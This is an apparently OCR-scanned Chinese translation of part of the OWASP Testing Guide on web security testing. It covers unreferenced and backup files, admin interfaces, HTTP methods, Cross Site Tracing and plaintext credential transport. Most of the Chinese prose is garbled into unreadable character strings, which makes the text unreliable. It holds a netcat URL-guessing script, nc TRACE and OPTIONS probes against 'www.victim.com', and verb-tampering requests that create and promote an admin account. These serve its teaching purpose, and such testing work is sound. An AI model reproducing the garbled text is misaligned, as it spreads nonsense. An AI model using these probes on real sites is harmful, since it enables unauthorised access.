k55 FniAAD, (HZ Vi login. asp. old 232 login. asp. old W% GXiBEMRES A mmAH) LAali e AT Xk [H145
H P IR ER s B BFOMBUSE BT e bl 85 7, B DU sy A: 7 e A UK o T3 ik 25 AR 45 2 it A QAL 2 AN JRR
W, RS AL EEH AR D4, 1 B S EARIAR Pt e ah Bk N 2 G B (B8R, Hdingii
) EAERARSIRN TESCARH 2 /F A GXOEANRLOI, R R R L) .

FELE VT MIC B P SO VR AN RN I RE PP AR SR SO, Il e, OB SO, HASSCE, IR ARk A ST &
GEH o, HArbliy web HR95 8 U7 R), X MURAFAEARBET | HISCHF IR o DR A I8 SR I 2 e N R P A 5 i
RN HZEVII A BFAER T BEEXE L D, ARTE R A NAZAAAH AT web AT LAVS ] 9 SCIFR GE

B
REISCPE, 840 SCEF ARSI ST — A Web N FIREFF IR 2 42 477 2 Tl gl -

o ORBESIHISCAT AT Red i UG R, T DA B — AN er I R e B T et 490 2 25 e AR R ST A
BN I E BN A S BB S, 20 SO g ss.

o ORBESI I BUR] et S ) LU SR G B RE P ISR DI RE 5 0 BLARAE R AT 1A P9 28 i A B I 21
VI, AR RATE U i ] R FH P B B 4% Uy 1) 21 B U1

o AN ST RE B CAE BT B E I 2 4w 140 viewdoc. old. jsp W REAL S H 318 I
W, X—wFAE4ALE viewdoc. jsp1BE, (BRI LA & DL IHRR A AR

o AN AT DA ERAE R S5 2% AT T AYEACHD . Bl UniE SR viewdoc. bak A EEIR[A] viewdoc. jsp HIUEAL
5, X AT BEAE R TRAS 2 A I, AR FRAT AR M o6 AT DU TR ARCE H 1 SR R I e i o X i ik AR 0
T HIAIE T, W Perl, PHP, ASP, shell BHIAS, JSP 4%, 1E41 R CIRBIMEHS], ©AMNETIXLE,

o UM A BT AE Webroot A (FL4 webroot A1) AYFTAT SCAFIEIAS . 1XAL 36 2 B X T 77 #1  H
FEFY, WHEARBGIHM T, AN, GOIEREE. i, WRREE T — M serviet KBS (R4
14 4 myservlets. jar. old FISCAF, Rtk TR ZHURAME, X805 BA D) PR G PRI [ TR

103



o ERLUNHILT, RHIsG AN SISO e AL, JURESCT SCEA . BInAE Windows PR
N SR BIEARERGTER N “Copy of 7 BUILFRF R AMLARA I SCAE AL o i 1 3CHHT EA R ORFF AN,
A AN HTRAT IS 1 web JIZ 55 43R (M RREESCASCAE AR, DIEAN YA M i, SR, 3K
L HBARIE RS . AT AT e S I AN IE RS 24 . WAL IR B Son st e m i, L Bl
IXLIDHR, AT RES RN B R EOR SIS R R s i

o HESCHTTREAL S R P E SRS B, BIIndE URL B, £9F 1D, CURINEE (TR S
o RBTRN RO S b LSRR . e HASCE O FTP FD WAL X T RECH B 51 24
PR IR U A

b
N T ORUEAT R ORI e, DU 2 4 SRS 2 ke, Ferh B4R 1L Lefa ke i fiik, .

o {E web JIRS5as/ NIFE TR G5 4 ST RSB AR SO TSI (R SR D AR WT e i G o 1 3
RS HRERMIEE AR AT, XM DU TR o WERAIRA S 24 dh R GUH G SO, 1555
WHORANRE M ATAT AT ZHSCPE, RN 225 18 B UR A7 ZEH 2 ) AR

o PANRLAAENL Web IR 5545% 2 ik (1 S RS E MR IAT AT e G 3, B s PRS2, i, WREME /R
it L0 e FR R PR (FE S RGP IRAARZ. L), URATHE T 56 ZEXX LY H sk AT zip/tar #4F. /)
Dy ANEEICR R A SOk

o A PIBUR 20 AN RL B I SR AR 5 SO — 52 f AR

o NJHUFEFANZBIES] (BUKIBUT) AAHTE web RS 4 SCFFK web H %A i AU SCAR H S5 i 19 SCA H b
H S F SR R IR SR H SR R I SO SO B SCrE, HASSOrE, BB SO NATTEAE Web IR 5545 0
PR B H s, U AATRERE Sl CEA BRI E S, Wk Rt H SRR eir gk . )

PRIt
A A ST BB ARG S SCAFREA TN, TR 45 & 1 R i ik:
(1) KA 7R iy 4 7y TCHERE

W B IXREA, FUZS BT (RN R P (0 TR D RE AT DA FH 30 UE 28 T 8)) 58 s A FH N FH R e gk IO 12 2L 5¢
Bo R ZEY R R a4 5 %6, RS R IR 220 p i A 5 s R, AR RS i DU 2 e AT D Rg .
MRAT N B i 44 07 AT DLEWTOR A S | SOOI A R R i . Bian . an SRR IIA4 R viewuser.asp IR UL, [RIFE RS
LIk F| edituser.asp, adduser.asp il deleteuser.asp. R K app/use XA H, FRIFERT LA R app/admin A
Japp/manager-.

(i) RATHI A7 B H 2 R

VP2 Web NITFEFAEAAT N AT T T2 K. a DUAIX S22 4R B KR0st i v i M D g . X8 ZOlH AL HTML Y3
AR JavaScript SCAFAF B W% TSI BT AT S AT SCAFAOUSARHS LS O T B U R Zh BE I Ze R o il -
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R D3RI TR0 3 R o (R AR A1 ] RERD % 21 e A 75«

<l-- <A HREF="uploadfile.jsp">Upload a document to the server</A> -->
<!I-- Link removed while bugs in uploadfile.jsp are fixed ->

JavaScript HJ BEAL 7 AR SR A MR N AR GUI Fh SR A Y D
var adminUser=false;

if (adminUser) menu.add (new menultem ("Maintain users", "/admin/useradmin.jsp"));
HTML pages may contain FORMs that have been hidden by disabling the SUBMIT element:
<FORM action="forgotPassword.jsp" method="post">

<INPUT type="hidden" name="userID" value="123">

<!-- <INPUT type="submit" value="Forgot Password"> -->
</FORM>

ARG H 300 55— AR UL IR R 2L as N PR AHHE 2 1Y /robots.txt SCfF

User-agent: *
Disallow: /Admin
Disallow: /uploads
Disallow: /backup
Disallow: /~jbloggs
Disallow: /include

(i) 5

e, W R 51 8EE AT R A WSO 4 KRR BRI T RS o B SC A FH 4. I
netcat B2 BHIAK M stdin 2L wordlist P AT 1 3 A8 0 ik«

#!/bin/bash

server=www.targetapp.com
port=80

while read url

do

echo -ne "Surl\t"

echo -e "GET /Surl HTTP/1.0\nHost: Sserver\n" | netcat $server Sport | head -1
done | tee outputfile

FRIE AR 25 2 ANIA], Al HEAD ARFF GET SkAG PRI 45 o 5 (14 Hh SO rp BE AT v H A i (i A RS o i B4 QL
200 CIEW) MR T — MR R WIRSS 2 A0 B g SCR) A BN T (2] 200 4ifid) o 1y HAY
301 (B3 , 302 ($kF)) , 401 CRIZAD , 403 (ZE1L) FIs00 CAFESEE) , XECHAT A R EAN— DA
(1B H 5%
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FEARFI BT N AZET X Webroot FEAT, [t A0 B A 48 ok JFE & A 38 BOR At 2 1 H oo BESGEE /BEA R R R ek
A RARAT R -

o HELEN IR AN BN AL I SO e 44 (Wt ISP, aspx, HTML) , JFAIH] —ANPHATIZ g™ J 44 I AR
WK (HEEWUR B AVE, A R H LY A 812D

o BRI I I AU S A i 1 SRR N IE E ST T B e SORYE . T IRTS I8 H SO R A 8 R
($5~, bak, txt, src, dev, old, inc, orig, copy, tmp,%5) , FERGEEANY AL AR HY RALZH, Z/FE
LA 4 .

FERE: Windows SCIFS AR AL TSN " copy of” (1 S 4 BE IXAS 74T R ASHIAL I RRAS . AL, e T AN e A2 S AF
P4 . HAR “copy of "SCAF— SRAER S ) I AN M ERIEARRD, (ER A R AR TR N 7 2R i, AT RE R
EGOEEDSS

(i3 1L IR 55 1 kI AT LR B Bk 7 L

R TG L I 55 e S R A 5 | P O e 2 0 g s A T I H e S SR A A 1) H % BL A L R R e g 1t
T HANEE AR SRVFBGE I D ARSI TN B web 554 2 R BLVF 2 i, il

e Apache ?M=D ] H 351 %571 .

o NI NS FROBAIAS YA 5 U o

o IS [y WebDAV H EFI%SI I «
(v) 2ITFEEHEH]
FE I ) ELH R R web B HRERF A, TUIRIAI L) B8 AT BE A BN HIFE 7 A B B g | YT L e A TR I T 5 | . A %A
51 HIBER:

o WG MU AT BeAh AR 2 R BLAE B M4 R 5 | SR S . i,  1998results.asp W] BEASFE M —A> 2w 11
S EERE R, R T R AR DR B AR IR S5 R 2R 5 T s P vh o XS R A W] BB 15 T AAG S B I 3 )
T . W] LU A REEAERT site: SRATRIEBE IR A A, BIU0 site:www.example.com. () HXF
KT RV ESE T —RINZWEARE, BRI —SEGHRER, REERIEARf M A EE
AP A R 0] DUE S A A EE AR IR R . A0 SO T REAS ST e SRS AT,
AT O] B IE B W AT AR QERARAT A N H sk, R 1] B2 JiE X Lt

o Ak, BEHCRIAESERAEHLES NSRBI DT 2247 R . RITE 1998results.asp T HARHR S5 SR, #2515
R REATIR O B L K AR o ZRAT AT REAL 5 AT A7 1 55 e P HL G P9 7 11 5 | P A O 2
o

o FE A HARNIRE B AT 5 L I 7 m]
MRl RE SRS HUEThRE,  CGaH)D) R

POERR S =T Wk, fltn, AR =7 I BAE L ST Y
FEILZE 7 Wt rh R BT S D RE R %

P
He
P
He
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IR A MR

XTI I SCA AN A7 S HEAT ARG IR EER A 2 F SR P SO, X S8 H SRS AE web N HRE 280 P K web o5 4%
P web Hokrb. B EPF, AT Tl & A e, ARim, DO KZHAEOL R SR A s 4 SCIHFAEAE 2 A
MIFERER i 24 20 QU R, ARBES A IIIARE].  (Fln: gidE s BN RO R 4% 505 8 44 10 4603 8
A, A2 BR BLold” SRS RTSE I 9™ Je A4 S i 4 I SCAED o SEIEAT S B A AR LS R W SCAF R RE R EIA /
Ay SISO e 4, I HAEBUKIN 18] e 64T T3k 22 MR EF IR INE

%

TH
= Vulnerability assessment tools tend to include checks to spot web directories having standard names (such as “admin”, “test”,

“backup”, etc.), and to report any web directory which allows indexing. If you can’t get any directory listing, you should try to

check for likely backup extensions. Check for example Nessus (http://www.nessus.org), Nikto

(http://www.cirt.net/code/nikto.shtml) or its new derivative Wikto (http://www.sensepost.com/research/wikto/) which

supports also Google hacking based strategies.

= Web spider tools: wget (http://www.gnu.org/software/wget/, http://www.interlog.com/~tcharron/wgetwin.html); Sam Spade

(http://www.samspade.org); Spike proxy includes a web site crawler function (http://www.immunitysec.com/spikeproxy.html);

Xenu (http://home.snafu.de/tilman/xenulink.html); curl (http://curl.haxx.se). Some of them are also included in standard Linux

distributions.

= Web development tools usually include facilities to identify broken links and unreferenced files.

4.3.7 FEAih gh R RN H 4 35 T (OWASP-CM-007)

R DY ST BEAEAE T N R P BN I AR S5 2, SR VERCSS T ARt B AT R RURAT . AT IR D TR R R
BRI 2 A5 BE AL HX LB g, LA Ay R AT X Se R AL LD e -

i) L 3R

IR W] RERR ARG B A S, AEREBUT] 7 REV ) 2L D RE LUAE SR I ol B I g IX LU AR T RE LA :
—Hk ) Bk

= A PR A SR

Sl b

—BC A
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http://www.interlog.com/%7Etcharron/wgetwin.html
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http://www.immunitysec.com/spikeproxy.html
http://home.snafu.de/tilman/xenulink.html
http://curl.haxx.se

€

FEVFENILR OB T 1 ST 36 15 2 B B 6 A1 5 W 36 PP 40 9F . SR 120 T R Ik
S 3 T U 5 o e P R i

PRI 5

IR A T IO A AR B o IS EORAB R TN R SRR RO AR G L, XSS EOR B AEA
FarE A VR B

o HSRASCAAYS —— —AMVE BT BEAr £, (R 3T WP I o 1Pl D00 e B 0 I e 42 T e A5
3Kz /admin 2 /administrator 45— #E R L. PR R] BEIE R TR A B U SCAE A% o BRAT I N B RS E Y
W AT BE VS ) B0 AN S

o AR PRTERE AN BERS VR WA HIIE IR B ACRE 2 BT AT Wi P pn 2. 3L o 2 i A R 36 2 25 i (104G
f, R RES ACBUE R B DA DD BE I B, T I BEEAT I A

o ARG AR HI R SCAT Up RN R P I 55 i N R P SR RO BE B0 AT ¥ 8, A P P
W SCRAE A T REVS ) B B S, W R — M B IR EEE, MZ A WBOA YR

o HIERS ARG T Al RES R I BT AE S R N R P AN 3 11 . %11, Apache Tomcat's &5 3L #L T
HH AT LLAE S 1 8080 B # .

o ZHUGLM —SLIBE BB D RE P RETT 2L GET B POST 2 4U(E— ™ cookie L&, ZkRUI -

include the presence of hidden fields such as:
<input type="hidden" name="admin" value="no">
orin a cookie:

Cookie: session_cookie; useradmin=0

— HOR VB, W OB 25 ST R SRR SRS IR . W SRR, MR A 2 Bty AR
TR0 MRS W% U B T RE 2 5 DR BIIK ™ g BlUe WX — D ReAr (e

K A AR S5 451

JS RO R 55 5 AR FH R Py 2L A1 5 T 0 e e 2 DA R 22 4 ] (RIS T TP 3 el R e P 1 A B 0 I AN S
FEAT NER RT3 00)) 5 Ry LA, Bk T AT 2 A AN HTER DA A e

PRI ARSI LA B, DL DRSS AIE A R B ORAIE 1E % 1) P A0 0 3ty 5 B B TRV R A S e A 0 O . W A IE /R
FEP R DRk A5 B % H s i P S, AR PR 2L A B 2 1 R e =2 D RE 45 2 52 o 1) ) B s
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5%

=

e Default Password list:

http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php

4.3.8 HTTP J7 VM1 XST M3 (OWASP-CM-008)

HTTP $&4L T 2 Ft 57k, WA THE Web IR ERHATERAE . Bl X 2859002 00 T H B IT RN S BB ATk HTTP R o
AR Web JIRS5 25 BC B AR, T ZIX48 HTTP J5 ikl BEM SR . jbAh, Al ut slER Bty (XST) , RI—Fp i H]
JIk 454 HTTP TRACE Jj 2 H) 5 ili s A Bt o

EF RN B

GET A1 POST & H i I T-3RI Web JIk 55 42 (K15 S8 A Soe e JH I ik o Il SCAE S (HTTP) Sevpg LRl (R0
ANKEGED W77k REC2616 (FLHP AN HTTP 1. 1 JREE A RIFRE) X T LR 8 ANJiik:

e HEAD

e GET

e POST

e PUT

e DELETE

e TRACE

e OPTIONS
e CONNECT

Horp— 28T ety Web NHIREIPIE I A W, BN EAT A VR BGRB8 A A Web AR 55 a4 EIOSCHE, JF
FERAERG LN, SIICEIE T RAEIE . SE R A, AT R 7 ik

o PUT: BRUFLACVEZ S oiAE Web 5% & b EARE SCF . o al AT e B RSCrE Cnn: i i i
cmd. exe RPAT AT asp SCIF) ] FL AR P 52 35 IR 55 A/ M RS S8 28

o DELETE: ULJ5¥kSevF%e ) dide Web M55 as EMIBRICIE. Boh & wl DUR AV E AR — M0 Ml s DoS B
EO N ERER i P v
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€

e CONNECT: Ptyvknl ik uimfdi ] Web AR4S 254 AR EE

o TRACE: AVERIEGIRAS A IS MM AT, 7 i ] S X SR [ 3% o, HE 20 H 2 TR
PR BRI A TEF, AE AT DUHAERR ) 5 w8 A () Moy, XAl GTi i Jeremiah Grossman A BLIY)
C L I e ) )

N R f A AN AN Tk, W REST Web Hi4s X HERT 22 PUT 8 DELETE) , Al X L7 v & 1
N AN b e = X o S L R WS

A3 HTTP i

Arshan Dabirsiaghi (WEERE) KL, VFZ Web N HIREFHELL SO VERG O PRIE A /BAT 7 HTTP J7 vk ge i P15 )2 AT
Vi 1] F i R £
o VFZHEZEANE ST “HEAD” M{E “GET” ik, RUETER[FIN AT FEMAGE R, WAL 0H &
FEFENIAE “GET” bk b, LA “IUErH 7 A feilid GET W KRB 4w f /MR P we s, Mg
X “HEAD” RRASFRA & B FETE o IXF U EFRFAUT) GET 15 RAERSFBE I N EEH %
o —ULHEIL AV IE PR AIME AT & ) HTTP J5id:, 11 “JEFF” BY “CATS” o XFhES#AR N “GET” Jyiide, F
RIMAEAR 208 S FAESE T, SRR Tk M e i v m I 2R, sl SR vr =R ERUT) GET 1 K7E
REFTHUEH T EIEH 2.

EVFZIEOLT, Wik A T “GET” &l “POST” J5ikHIACE A it 22 4 ) .

I 5 1]
KISHFHITT %

FEHATIEINR, FeArIF= T 5 bk MR AT EAEWF 22 Web IR SRPT S ERHY HTTP 1k, B FIX— 5, OPTIONS
HTTP 7 AR AL T A A2 5, RFC 2616 ¥5M, “OPTIONS HTTP J7iEfCsE TidkilfEikes B,
HAE BAELE T Request-URI T SE [RE R/ N~

MRS EFIEFEEM, BAIRFEEED) netcat (3L telnet)

icesurfer@nightblade ~ $ nc www.victim.com 80
OPTIONS / HTTP/1.1

Host: www.victim.com

HTTP/1.1 200 OK

Server: Microsoft-11S/5.0

Date: Tue, 31 Oct 2006 08:00:29 GMT
Connection: close

Allow: GET, HEAD, POST, TRACE, OPTIONS
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Content-Length: 0

icesurfer@nightblade ~ $

MBI, ZERAI TR, OPTIONS FIHI T Web R4 %3P SRR ik, fltn, ZEXAESTF, RA1a L7
TRACE PR T o F— 00 B Bl P 1 M S W

PR XST 7] Btk

iy T THRNEBEEE A B AR, RFEZE R Cross Site Scripting attacks.

TRACE J7iE AR TEH I, A e n] DLAE R 0 R el 5 AR ) AR . IX Bl 4 R J& 1 Jeremiah Grossman
7E 2003 E R I EAKSEE HTTPONly brid, TMHIX— AR &M LE Internet Explorer 6 SP1 A4k H (19 H -5 1l 3d ik
JavaScript K 1Jj 1] Cookie. 3L I, FEUNHIAH — ANk DL BB UL #E N document.cookie X % 1 HL A 1% 311 5
A T HI Web JIkgs2%, DA/ il AEIFR 2 35 106 . 1 cookie Axic iy httpOnly fig2% 11 JavaScript Ui
WE, BRI R IREA S = 7. AR, T LARI TRACE J7ikGaid XAl idr, WM iX Al ol Tt AEVi ) Cookies

UIFTHTIE, TRACE REIR [FIEMT A IE%T web IR g5 s i 74T tho A TIRIEE MIAAAE (B EIE OPTIONS 153K 45
F o BATA UL IR R T

icesurfer@nightblade ~ $ nc www.victim.com 80
TRACE / HTTP/1.1

Host: www.victim.com

HTTP/1.1 200 OK

Server: Microsoft-11S/5.0

Date: Tue, 31 Oct 2006 08:01:48 GMT
Connection: close

Content-Type: message/http
Content-Length: 39

TRACE / HTTP/1.1

Host: www.victim.com

TATAT LIRS, ma i AR SE AR TATECR USRI EIAS, 2 U, AT H AR IS 2 avr i X Mok, I
&, FESAFAETAT LMW ? RN TFE N G285 web JR45 2% A& H TRACE 153K, T IX ) W 28 77 AE %38 4 1)
Cookie I, cookie F5#% H a8 F A1 RS, PR £ iy = A2 Rz (A1 45 SR b AR . AISFPs 5 1, w LU i
JavaScript V7 [8)1IX)~ Cookie F47 5, I HEZ&HF cookie KIXZH =77, Nl Cookie #ibric 4 httpOnly.
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€

A3 U 2 A 3% TRACE &K ] LU £ M7, UNAE Internet Explorer F ) XMLHTTP ActiveX #5F-1 Mozilla 1 Netscape
' XMLDOM . 2RTT, H T8, W2 ] DT IH 2R B A TR . X — MM R, BB
i f7 2 LI A TRACE J1E4i G A ek s B, HeA b, Bohid A AN Ik ] DUl St & 3l — N5 il R R
Biti:

o 1 FIHY ARG S . B E AR I N R P EN S Trace WK 1% JavaScript B, it
A [R) AN 3 ) 5 s A B

o 2RI I BGEFE BN R JavaScript  BLIRIE WS, TR A2 B A i 2
Ptk , A JavaScript fRHS A8 BT B 2 S RF TRACE JrikJFfigr A Bt # IE IR E 57 HUK) Cookie [R5

M [P AE AR (1 5 E 4 ¥ 78 REAT LLEE Jeremiah Grossman 385 (¥ 11 f 15 4k 51
HTTP 77 B B R &

HTTP J5 BB AS 5T b b5 XST A [,

WRATLE HTTP ik

A 302 HE B X T EOE M EER A, [FFZ Web N HREF

FRBNEEYT 1) W15 22 A PR W 0. Bl i 2
&, IRAERAT 2007 fRIR BT AN Gk U, A 2ol ] RESE L Ik

— A, XA RS ., (B
732 AL

[rapidoffenseunit:~] vanderaj% nc www.example.com 80
JEFF /HTTP/1.1

Host: www.example.com

HTTP/1.1 200 OK

Date: Mon, 18 Aug 2008 22:38:40 GMT
Server: Apache

Set-Cookie: PHPSESSID=K53QW...

AR SR AR HOEZR BB KGR B N R - A SCRFUEFF RO 55, BN S 51 AR R TUHE (Bihf & 405 A SLVFETR ITEE 501
REIER D) o FRIRS AL ER, Eo ZA [ A7 AE IR

A BAEIN A 2SR GO XA ) AR, AT IRALL CSRF Beati PA 76 7342 S8 3K A i) i
e FOOBAR /admin/createUser.php?member=myAdmin
e JEFF /admin/changePw.php?member=myAdmin&passwd=fo0123&confirm=fo0123

e CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add
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ARG sEIE, A AR = AN —— el R e A SR SR B
S

RE U — N 70 I A 0 A P

WRSET HEAD 1 ) #E 4

PB4 5 22 PR M 0. Bl 2 AE 302 HE MBSk I BE T E R A, [FVFZ Web N R
R XA PRI R Wk, RO, ASRAEERESE 2007 (IR AL AN R B 0O, R Lot R] R Sei B
FFENIBAL

[rapidoffenseunit:~] vanderaj% nc www.example.com 80
HEAD /admin HTTP/1.1

Host: www.example.com

HTTP/1.1 200 OK

Date: Mon, 18 Aug 2008 22:44:11 GMT

Server: Apache

Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: adminOnlyCookiel=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com
Content-Language: EN

Connection: close

Content-Type: text/html; charset=ISO-8859-1

INEARSE]— 1 “405 Method not allowed ” 8. “501 Method Unimplemented””””””, X i AR I
application/framework/language/system/firewall 7 1F 7 T./E, iR [m]“«««« “200” N AR, JF HARR S0 E 4k
fFE, ARFTRERN N PR A VIE S AU T DL N AR BE T %K, DI FREEE AT 13— 25 ik,

A SR AEN R 1% SR G IX A [0 A AR, AT 2R ABL CSRF Bty LA AR 4042 33X A 1) L
e HEAD /admin/createUser.php?member=myAdmin
e HEAD /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123

e HEAD /admin/groupEdit.php?group=Admins&member=myAdmin&action=add

WRESEIE, AT BL = A —— 0 B AR e R SRk 1B
S

RE BN K C 20 e 5 A 1) A 22
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e  RFC 2616: “Hypertext Transfer Protocol -- HTTP/1.1”

e RFC 2109 and RFC 2965: “HTTP State Management Mechanism”

®  Jeremiah Grossman: "Cross Site Tracing (XST)" - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper XST ebook.pdf

o Amit Klein: "XS(T) attack variants which can, in some cases, eliminate the need for TRACE" -

http://www.securityfocus.com/archive/107/308433

e Arshan Dabirsiaghi: "Bypassing VBAAC with HTTP Verb Tampering" -
http://www.aspectsecurity.com/documents/Bypassing VBAAC with HTTP Verb Tampering.pdf

TH

e  NetCat - http://www.vulnwatch.org/netcat

4.4 AR

NIE (FHETE:  auBevikog =S FRoELSE ), oK H T'authentes '=E# ) J&—Fh@ ol g (BN EFIER
M7 g, MEEDE, BRI IR B . DAERAN R BT e B AL A, ﬁ’ﬁ@“ﬁ*"}\ﬁiﬁ’&?ﬁ&“ﬂ
WS AR T AN EZ MAER E. B ENL 4T, DAER RIS T K% A E T S0 e .
—ANE LB e S R e MR I UE A A R IR S T AR CUE R R U] A, el i I L84 B S B LA

4.4.1 A5 T UF 1A% 4 (OWASP-AT-001)

FEIX L, A DL i TR N web LG, B, Oy TSR E S Mk A R, R A T
LAY, PRS2 B M

4.4.2 H - BzE R (OWASP-AT-002)

XTI F AL A T 36U 5 A7 w] el o 5 W A E LR LA B g — BAT R o IX IOk 2 AT 2t T 4%
T3 M TR BATTIR UE A 77 T — N R ™ A4 A aT AR AR Y 2 6

4.4.3 AR K RS Gl SR (OWASP-AT-003)

FEIE BB ATINEAE 75 A BRI A ik sy s I ) - 44 fa i 28 Gl Do)

114


http://tools.ietf.org/html/rfc2616
http://tools.ietf.org/html/rfc2109
http://tools.ietf.org/html/rfc2965
http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf
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4.4.4 2 JJIIK (OWASP-AT-004)

2 [y Ak R, R ) DA ] 28 00 D7 3R A S . Bk IR AN 5 e BRI, TR O 5 BN ) O How] B
B I

4.4.5 AUEZER) Zeid PR (OWASP-AT-005)

FEH ST A e S O A RIS AE R, R Al AT T A AR BT AT O N RE P 1) SR IR REAS 2 78 70 IR R 3 o
M RERSAE A VALK OL U5 X LB Y

4.4.6 1CAT MDA 2 H 55 AU (OWASP-AT-006)

FERXHL,  JRAT TN ey B Ol A I R o JRAT TS A N A A SRV A A A Y C il
ThEE) o

4.4.7 T EFNR VA ) 22 A7 B (OWASP-AT-007)
XL, ATV A R A7 Th e 43 B 1E A S I

4.4.8 CAPTCHA Jllis (OWASP-AT-008)

CAPTCHA ( “4 HENK A4 SEHUR A KIOE MR ) i FIVF% Web R R FEAE A OBk iR, LU R
R R EH PSR . B A0 captcha JE AR TRAN, JCHITEIZ 4Rt . A4 B s st R i
GES)

4.4.9 Testing Multiple Factors Authentication £ [F 22 S 4 36 UE )3 (OWASP-AT-009)

LN Z G ERENNR T LTS — RS (OTP) PR I IRFeS, a5+, Wl USB 36 iF i el it 4%
T X509 iE PR ER, Gl sSMS AIEIBENL— RS, A AR P AE RS AMS B [OUTOFWALLET ] .

4.4.10 FEAF AN (OWASP-AT-010)

SEAHAR AN AT T e ATEh, e R ARSI flm. B LR N TR
[l B AT ER AR o R 5, SEAS AR A

4.4.1 NEAEEUE LB (OWASP-AT-001)

DU E 5 A% 0 S R B A UE B30 2 A e n 2 5 T A, DU G 32 B R k. b 3 mi AUNAE T
TAE web 30U 38 21 Il 25 A5 ) B0 2 75 R RS AR 4, B8 Web NIRRT & 15 R IBUE M1 2 i, fH T4
HTTPS &5 WM. HTTPS Bhsid fENLAE TLS / SSL AEAli by Bl AL 4ainas, JFAf ORI IEAE R B H Rl AR, R
B EI A — B BRE XL TE LA o LA T F A Bn 2 S80S FF2 e 1 AE A8 FH 0 )
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P, AR ] B A STEAR T A o G TINK TLS/SSL AR 18 22 A PRI SE VR 18 v] LA S B SSL - TLS WA= 1y
R, MU TR N web R EESE, B, O TR SRE SRR, R T
g AU, LR BB . BT R i IRA T AR 2 S i

i) L i

A ) AU ML) i web BR800 e U LA DA TP RS e s E AR . O TR
AW, EE DL TR R LR, XA RG] POST At fnd N (A . BAT AR AERIE X £y
i e A AR 22420 HTTP PSR SId 2 A P A0 In a5 1K) HTTPs A&k, B A R AT Al fE I s ) 65 o T T ied
HTTP Ui K] (AEIRATTAHAG , A a4, (A sihs bl HTTPS ARdm¥idts . XTI at=2 o T A PR G+ JE ik
o P R MR T R ) 25 7 WAL 30 AU A IR

Ik S 4]
76 N )7 B TR 48 1] WebScarab FREU 48 AL ) Sk A5 B XS JLREA TR 2 o 488 m] DU FAT [ AR S5 %K FK) Web AR B
EHIFFFT: POST J7ikkix HTTP B3

RV R T — N EE P, SR p, AR AEITIE I EANH RS, R EAE
FJ WebScarab &EIERKAISLE R, FATA PSR FHME B

POST http://www.example.com/AuthenticationServlet HTTP/1.1

Host: www.example.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: 1ISO-8859-1,utf-8;9q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://www.example.com/index.jsp

Cookie: JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBdgn98CGIkP4jTvVCGdyPkmn3S!
Content-Type: application/x-www-form-urlencoded

Content-length: 64

delegated_service=218&User=test&Pass=test&Submit=SUBMIT

LEXADEFI, NNAEF00E POST i HTTP A% R] www.example.com/AuthenticationServiet. {EiXPMHEIL T,
AR RIS, X 5% H D Bl % Wireshark JXFE TS0 T 5 9 28 M sz BH 72 44 Fshid

EPIFFFT: POST JiEKRIE HTTPS HiE
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fEBE web N HIAE ] HTTPS BSCinas prAcis i icds (/b SOGIEAT RINEEE) o ZF DL R, RN G R IUF
BEATINIE,  POST 135 3R R Sk A BN 1 £ B AL

POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1
Host: www.example.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml, text/html
Accept-Language: it-it,it;g=0.8,en-us;g=0.5,en;9g=0.3
Accept-Encoding: gzip,deflate

Accept-Charset: IS0O-8859-1,utf-8;9=0.7,*;9=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: https://www.example.com/cgi-bin/login.cgi

Cookie: language=English;

Content-Type: application/x-www-form-urlencoded

Content-length: 50

Command=Login&User=test&Pass=test

FATATLLE R, SRk EEIE HTTPS MY KL R www.example.com:443/cqi-binflogin.cqi. X R T B8 210 1 2%
T AL LI ORI e AANRE

EBIPFST: POST JFiE7E HTTP 5 ] B W TT &k 2% HTTPS %35

WAE, s — ANl HTTP U5 R M 0T, TR s A MR SR b R 06k 8 Al HTTPS A%k, IX R
s e JE ﬂ“bﬂ%ﬂ‘];réﬁfﬂ*xi T B I oo N /A= 1 Il T o O N L e N o o R S B /N B
SRRSS, (B[R NE PR LE G T 08 S NIRE 5y o RN IR BB S, 13X 35 SR Sk A5 Bt R 1 22490 it
ﬂ?.

POST https://www.example.com:443/login.do HTTP/1.1

Host: www.example.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: 1ISO-8859-1,utf-8;9q=0.7,*;9=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://www.example.com/homepage.do

Cookie: SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphHOQNSJ3VQB6pLhjkW6F
Content-Type: application/x-www-form-urlencoded

Content-length: 45
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€

User=test&Pass=test&portal=ExamplePortal

FATATLAE 2, iR it HTTPS 441445 www.example.com:443/login.do . {H 2RI T E LK) Referer FEX
(BATVT R E—Tdn) , LRGN HTTP U519 i) www.example.com / homepage.do - A, ZEIXHR
T, PSS BT A S TRA T B A e i R . TS BIRA S HTTPS ARIE B . IX g ORiE T H e A

ANBETE I AR A IR H 8 o

RBIFFIT: GET 7% K% HTTPS Hil

